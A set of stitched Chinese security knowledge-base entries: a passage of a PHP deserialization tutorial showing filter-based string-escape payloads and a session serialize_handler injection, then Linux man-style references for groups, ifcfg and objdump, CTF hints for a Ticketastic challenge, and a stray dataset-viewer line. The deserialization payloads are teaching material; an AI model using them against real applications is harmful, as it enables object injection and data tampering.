echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
```
```
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
123
```
以上代码限制了输入的内容 当输入 x 时会替换为 yy 若被替换则会出现报错,因为长度与字符实际长度不符
```php
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='Bobx';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
```
```
O:1:"A":2:{s:4:"name";s:4:"Bobx";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:4:"Bobyy";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 56 bytes in \out.php on line 17
```
在只能修改 name 值的情况下,要将 pass 改为 456 则需要构造 `";s:4:"pass";s:3:"456";}` 其中有 24 个字符
由于在 `}` 以后的字符都不会影响反序列化, 所以可以填充内容在 `}` 之后
x 变为 yy 为原来的 2 倍长度 因此我们构造的 playload x 的数量应该为 24 当他变为原来的两倍 时 正好与没加倍时 name 的长度相同 便可以在后面构造 pass 的值
相应 payload
```
xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}
```
```php
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo $c->pass;
?>
```
```
O:1:"A":2:{s:4:"name";s:48:"xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:48:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456
```
### 字符串变短
```php
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='Bob';
public $user='bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
```
```
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
123
```
这里将 test 替换为空,
```php
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='test';
public $user='bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
```
```
O:1:"A":3:{s:4:"name";s:4:"test";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:4:"";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 72 bytes in \out_1.php on line 18
```
name 的内容为空 但是大小为 4
相当于我们要闭合掉 `";s:4:"user";s:3:"` 的内容
同样的,当仅 name 和 user 的值可控的情况下,需要通过 `";` 来构造闭合
相应 payload
```php
public $name='testtesttesttesttest';
public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
```
```php
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='testtesttesttesttest';
public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
```
```
O:1:"A":3:{s:4:"name";s:20:"testtesttesttesttest";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:20:"";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456
```
---
## session反序列化
### 关于session
**session_start()**
当会话自动开始或者通过 `session_start()` 手动开始的时候,PHP 内部会依据客户端传来的 PHPSESSID 来获取现有的对应的会话数据(即 session 文件), PHP 会自动反序列化 session 文件的内容,并将之填充到 `$_SESSION` 超级全局变量中。如果不存在对应的会话数据,则创建名为 `sess_PHPSESSID`(客户端传来的) 的文件。如果客户端未发送 PHPSESSID,则创建一个由 32 个字母组成的 PHPSESSID,并返回 set-cookie。
**存储机制**
php 中的 session 以文件的方式来存储的,存储方式就是由配置项 `session.save_handler` 来确定,默认是以文件的方式存储。
存储的文件是以 `sess_sessionid` 来进行命名的,文件的内容就是 session 值的序列话后的内容。
### 不同序列化处理器
**session.serialize_handler**
session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。
自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。
```php
<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['edd1e'] = $_GET['a'];
var_dump($_SESSION);
?>
```
查看不同类型下序列化的字符串
```
php: edd1e|s:3:"abc";
php_binary: edd1es:3:"abc";
php_serialize: a:1:{s:5:"edd1e";s:3:"abc";}
```
### session反序列化利用
Session 的实现没有问题,但 Session 序列化引擎配置使用不当就会造成利用
以 php_serialize 格式来存储,用 php 机制来读取
**存储session**
```php
# session.php
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['edd1e'] = $_GET['a'];
var_dump($_SESSION);
?>
```
**读取session**
```php
# session_read.php
<?php
ini_set("session.serialize_handler", "php");
session_start();
class test {
public $data;
function __wakeup(){
echo $this->data;
}
}
?>
```
**生成playload**
```php
<?php
class test {
public $data = 'hack';
}
$o = new test();
echo serialize($o);
?>
O:4:"test":1:{s:4:"data";s:4:"hack";}
```
将 playload 前面加上 `|` 输入到 session 里
```
/session.php?a=|O:4:"test":1:{s:4:"data";s:4:"hack";}
```
```php
array(1) {
["edd1e"]=>
string(38) "|O:4:"test":1:{s:4:"data";s:4:"hack";}"
}
```
打开读取 session 页面输出构造的内容
在 php 模式下 格式为键名+竖线+经过 serialize0 函数反序列处理的值
储存的 session 字符串为
```
a:1:{s:5:"edd1e";s:38:"|O:4:"test":1:{s:4:"data";s:4:"hack";}
```
反序列化的就是后面的字符串,所以成功输出
---
## POP
- [POP](./POP.md)
|
sec-knowleage
|
groups
===
打印指定用户所在组的名称。
## 概要
```shell
groups [OPTION]... [username]...
```
## 主要用途
- 打印指定用户所在组的名称。
## 选项
```shell
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
```
## 参数
username(可选):可以是一到多个,不提供时默认为当前用户。
## 返回值
返回0表示成功,返回非0值表示失败。
## 例子
显示linux用户所属的组
```shell
[root@localhost ~]# groups linux
linux : linux adm dialout cdrom plugdev lpadmin admin sambashare
```
### 注意
1. 该命令等价于 `id -Gn`。
2. 每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。
3. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 groups`,`info coreutils 'groups invocation'`。
|
sec-knowleage
|
ifcfg
===
置Linux中的网络接口参数
## 补充说明
**ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数。
### 语法
```shell
ifcfg(参数)
```
### 参数
```shell
网络接口:指定要操作的网络接口;
add/del:添加或删除网络接口上的地址;
ip地址:指定IP地址和子网掩码;
Stop:停用指定的网络接口的IP地址。
```
|
sec-knowleage
|
objdump
===
显示二进制文件信息
## 补充说明
**objdump命令** 是用查看目标文件或者可执行的目标文件的构成的gcc工具。
### 选项
```shell
-a --archive-headers
# 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。
-b bfdname --target=bfdname
# 指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如:
objdump -b oasys -m vax -h fu.o
# 显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。
-C --demangle
# 将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。
--debugging
-g
# 显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。
-e --debugging-tags
# 类似-g选项,但是生成的信息是和ctags工具相兼容的格式。
--disassemble
-d
# 从objfile中反汇编那些特定指令机器码的section。
-D --disassemble-all
# 与 -d 类似,但反汇编所有section.
--prefix-addresses
# 反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。
-EB
-EL
--endian={big|little}
# 指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records.
-f
--file-headers
显示objfile中每个文件的整体头部摘要信息。
-h
--section-headers
--headers
显示目标文件各个section的头部摘要信息。
-H
--help
简短的帮助信息。
-i
--info
显示对于 -b 或者 -m 选项可用的架构和目标格式列表。
-j name
--section=name
仅仅显示指定名称为name的section的信息
-l
--line-numbers
用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。
-m machine
--architecture=machine
指定反汇编目标文件时使用的架构,当待反汇编文件本身没描述架构信息的时候(比如S-records),这个选项很有用。可以用-i选项列出这里能够指定的架构.
--reloc
-r
显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇编后的格式显示出来。
--dynamic-reloc
-R
显示文件的动态重定位入口,仅仅对于动态目标文件意义,比如某些共享库。
-s
--full-contents
显示指定section的完整内容。默认所有的非空section都会被显示。
-S
--source
尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,效果比较明显。隐含了-d参数。
--show-raw-insn
反汇编的时候,显示每条汇编指令对应的机器码,如不指定--prefix-addresses,这将是缺省选项。
--no-show-raw-insn
反汇编时,不显示汇编指令的机器码,如不指定--prefix-addresses,这将是缺省选项。
--start-address=address
从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。
--stop-address=address
显示数据直到指定地址为止,该项影响-d、-r和-s选项的输出。
-t
--syms
显示文件的符号表入口。类似于nm -s提供的信息
-T
--dynamic-syms
显示文件的动态符号表入口,仅仅对动态目标文件意义,比如某些共享库。它显示的信息类似于 nm -D|--dynamic 显示的信息。
-V
--version
版本信息
--all-headers
-x
显示所可用的头信息,包括符号表、重定位入口。-x 等价于-a -f -h -r -t 同时指定。
-z
--disassemble-zeroes
一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。
@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。
```
### 实例
首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下:
```shell
root@localhost [test]# nl mytest.cpp
```
```shell
void printTest() {
char a;
a = 'a';
}
void printTest2() {
int a = 2;
a+=2;
}
```
对以上源代码进行编译,如下:
```shell
[root@localhost test]# g++ -c -g mytest.cpp
```
这里,生成的文件是mytest.o,为了方便测试包含了调试的信息,对可执行文件的测试,显示的结果类似。
**查看当前使用的objdump的版本号: **
```shell
[root@localhost test]# objdump -V
GNU objdump 2.17.50.0.6-14.el5 20061020
Copyright 2005 free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License. This program has absolutely no warranty.
```
**查看档案库文件中的信息: **
```shell
[root@localhost test]# objdump -a libmy2.a
In archive libmy2.a:
myfile.o: file format elf32-i386
rwxrwxrwx 0/0 2724 Nov 16 16:06 2009 myfile.o
mytest.o: file format elf32-i386
rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o
```
**这里,libmy2.a是一个使用ar命令将多个*.o目标文件打包而生成的静态库。命令的输出类似`ar -tv`,相比较`ar -tv`输出如下: **
```shell
[root@localhost test]# ar -tv libmy2.a
rwxrwxrwx 0/0 2724 Nov 16 16:06 2009 myfile.o
rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o
```
显示可用的架构和目标结构列表:
```shell
[root@localhost test]# objdump -i
BFD header file version 2.17.50.0.6-14.el5 20061020
elf32-i386
(header little endian, data little endian)
i386
a.out-i386-linux
(header little endian, data little endian)
i386
efi-app-ia32
(header little endian, data little endian)
i386
elf64-x86-64
(header little endian, data little endian)
i386
elf64-little
(header little endian, data little endian)
i386
elf64-big
(header big endian, data big endian)
i386
elf32-little
(header little endian, data little endian)
i386
elf32-big
(header big endian, data big endian)
i386
srec
(header endianness unknown, data endianness unknown)
i386
symbolsrec
(header endianness unknown, data endianness unknown)
i386
tekhex
(header endianness unknown, data endianness unknown)
i386
binary
(header endianness unknown, data endianness unknown)
i386
ihex
(header endianness unknown, data endianness unknown)
i386
trad-core
(header endianness unknown, data endianness unknown)
elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64
i386 elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64
elf64-little elf64-big elf32-little elf32-big srec symbolsrec
i386 elf64-little elf64-big elf32-little elf32-big srec symbolsrec
tekhex binary ihex trad-core
i386 tekhex binary ihex ---------
```
这里,显示的信息是相对于 -b 或者 -m 选项可用的架构和目标格式列表。
**显示mytest.o文件中的text段的内容: **
```shell
[root@localhost test]# objdump --section=.text -s mytest.o
mytest.o: file format elf32-i386
Contents of section .text:
0000 5589e583 ec10c645 ff61c9c3 5589e583 U......E.a..U...
0010 ec10c745 fc020000 008345fc 02c9c3 ...E......E....
```
这里注意,不能单独使用-j或者--section,例如`objdump --section=.text mytest.o`是不会运行成功的。
**反汇编mytest.o中的text段内容,并尽可能用源代码形式表示: **
```shell
[root@localhost test]# objdump -j .text -S mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
00000000 <_Z9printTestv>:
void printTest()
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 10 sub $0x10,%esp
{
char a;
a = 'a';
6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp)
}
a: c9 leave
b: c3 ret
000000c <_Z10printTest2v>:
void printTest2()
c: 55 push %ebp
d: 89 e5 mov %esp,%ebp
f: 83 ec 10 sub $0x10,%esp
{
int a = 2;
12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp)
a+=2;
19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp)
}
1d: c9 leave
1e: c3 ret
```
这里注意,不能单独使用-j或者--section,例如`objdump -j .text mytest.o是不会运行成功的`。另外-S命令对于包含调试信息的目标文件,显示的效果比较好,如果编译时没有指定g++的-g选项,那么目标文件就不包含调试信息,那么显示效果就差多了。
**反汇编出mytest.o的源代码: **
```shell
[root@localhost test]# objdump -S mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
00000000 <_Z9printTestv>:
void printTest()
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 10 sub $0x10,%esp
{
char a;
a = 'a';
6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp)
}
a: c9 leave
b: c3 ret
0000000c <_Z10printTest2v>:
void printTest2()
c: 55 push %ebp
d: 89 e5 mov %esp,%ebp
f: 83 ec 10 sub $0x10,%esp
{
int a = 2;
12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp)
a+=2;
19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp)
}
1d: c9 leave
1e: c3 ret
```
这里,尤其当编译的时候指定了-g这种调试参数时,反汇编的效果比较明显。隐含了-d参数。
**显示文件的符号表入口: **
```shell
[root@localhost test]# objdump -t mytest.o
mytest.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 mytest.cpp
00000000 l d .text 00000000 .text
00000000 l d .data 00000000 .data
00000000 l d .bss 00000000 .bss
00000000 l d .debug_abbrev 00000000 .debug_abbrev
00000000 l d .debug_info 00000000 .debug_info
00000000 l d .debug_line 00000000 .debug_line
00000000 l d .debug_frame 00000000 .debug_frame
00000000 l d .debug_loc 00000000 .debug_loc
00000000 l d .debug_pubnames 00000000 .debug_pubnames
00000000 l d .debug_aranges 00000000 .debug_aranges
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l d .comment 00000000 .comment
00000000 g F .text 0000000c _Z9printTestv
00000000 *UND* 00000000 __gxx_personality_v0
0000000c g F .text 00000013 _Z10printTest2v
```
这里,输出的信息类似`nm -s`命令的输出,相比较之下,nm命令的输出如下:
```shell
[root@localhost test]# nm -s mytest.o
0000000c T _Z10printTest2v
00000000 T _Z9printTestv
U __gxx_personality_v0
```
**显示文件的符号表入口,将底层符号解码并表示成用户级别: **
```shell
[root@localhost test]# objdump -t -C mytest.o
mytest.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 mytest.cpp
00000000 l d .text 00000000 .text
00000000 l d .data 00000000 .data
00000000 l d .bss 00000000 .bss
00000000 l d .debug_abbrev 00000000 .debug_abbrev
00000000 l d .debug_info 00000000 .debug_info
00000000 l d .debug_line 00000000 .debug_line
00000000 l d .debug_frame 00000000 .debug_frame
00000000 l d .debug_loc 00000000 .debug_loc
00000000 l d .debug_pubnames 00000000 .debug_pubnames
00000000 l d .debug_aranges 00000000 .debug_aranges
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l d .comment 00000000 .comment
00000000 g F .text 0000000c printTest()
00000000 *UND* 00000000 __gxx_personality_v0
0000000c g F .text 00000013 printTest2()
```
这里,和没-C相比,printTest2函数可读性增加了。
**反汇编目标文件的特定机器码段: **
```shell
[root@localhost test]# objdump -d mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
00000000 <_Z9printTestv>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 10 sub $0x10,%esp
6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp)
a: c9 leave
b: c3 ret
0000000c <_Z10printTest2v>:
c: 55 push %ebp
d: 89 e5 mov %esp,%ebp
f: 83 ec 10 sub $0x10,%esp
12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp)
19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp)
1d: c9 leave
1e: c3 ret
```
这里,对text段的内容进行了反汇编。
**反汇编特定段,并将汇编代码对应的文件名称和行号对应上: **
```shell
[root@localhost test]# objdump -d -l mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
00000000 <_Z9printTestv>:
_Z9printTestv():
/root/test/04_libraryTest/mytest.cpp:1
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 10 sub $0x10,%esp
/root/test/04_libraryTest/mytest.cpp:4
6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp)
/root/test/04_libraryTest/mytest.cpp:5
a: c9 leave
b: c3 ret
0000000c <_Z10printTest2v>:
_Z10printTest2v():
/root/test/04_libraryTest/mytest.cpp:6
c: 55 push %ebp
d: 89 e5 mov %esp,%ebp
f: 83 ec 10 sub $0x10,%esp
/root/test/04_libraryTest/mytest.cpp:8
12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp)
/root/test/04_libraryTest/mytest.cpp:9
19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp)
/root/test/04_libraryTest/mytest.cpp:10
1d: c9 leave
1e: c3 ret
```
这里,项"-d"从objfile中反汇编那些特定指令机器码的section,而使用"-l"指定用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用,使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。
**显示目标文件各个段的头部摘要信息: **
```shell
[root@localhost test]# objdump -h mytest.o
mytest.o: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000001f 00000000 00000000 00000034 2**2
CONTENTS, ALLOC, LOAD, readonly, CODE
1 .data 00000000 00000000 00000000 00000054 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 00000000 00000000 00000054 2**2
ALLOC
3 .debug_abbrev 00000046 00000000 00000000 00000054 2**0
CONTENTS, READONLY, DEBUGGING
4 .debug_info 000000ed 00000000 00000000 0000009a 2**0
CONTENTS, RELOC, READONLY, DEBUGGING
5 .debug_line 0000003e 00000000 00000000 00000187 2**0
CONTENTS, RELOC, READONLY, DEBUGGING
6 .debug_frame 00000044 00000000 00000000 000001c8 2**2
CONTENTS, RELOC, READONLY, DEBUGGING
7 .debug_loc 00000058 00000000 00000000 0000020c 2**0
CONTENTS, READONLY, DEBUGGING
8 .debug_pubnames 0000002f 00000000 00000000 00000264 2**0
CONTENTS, RELOC, READONLY, DEBUGGING
9 .debug_aranges 00000020 00000000 00000000 00000293 2**0
CONTENTS, RELOC, READONLY, DEBUGGING
10 .comment 0000002e 00000000 00000000 000002b3 2**0
CONTENTS, READONLY
11 .note.GNU-stack 00000000 00000000 00000000 000002e1 2**0
CONTENTS, READONLY
```
这里,更多的内容参见`man objdump`中的这个选项。
|
sec-knowleage
|
# Ticketastic: Live Instance
## [Flag0](./flag0) -- Found
- This level and the Ticketastic demo instance are running the same code
- Take a look at addUser on the demo instance
- What is missing?
- Humans might read these tickets and interact with them
- Links in tickets could be interesting
## [Flag1](./flag1) -- Found
- How do others log into this instance?
- The login form reveals more than it should
- So does the ticket endpoint
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.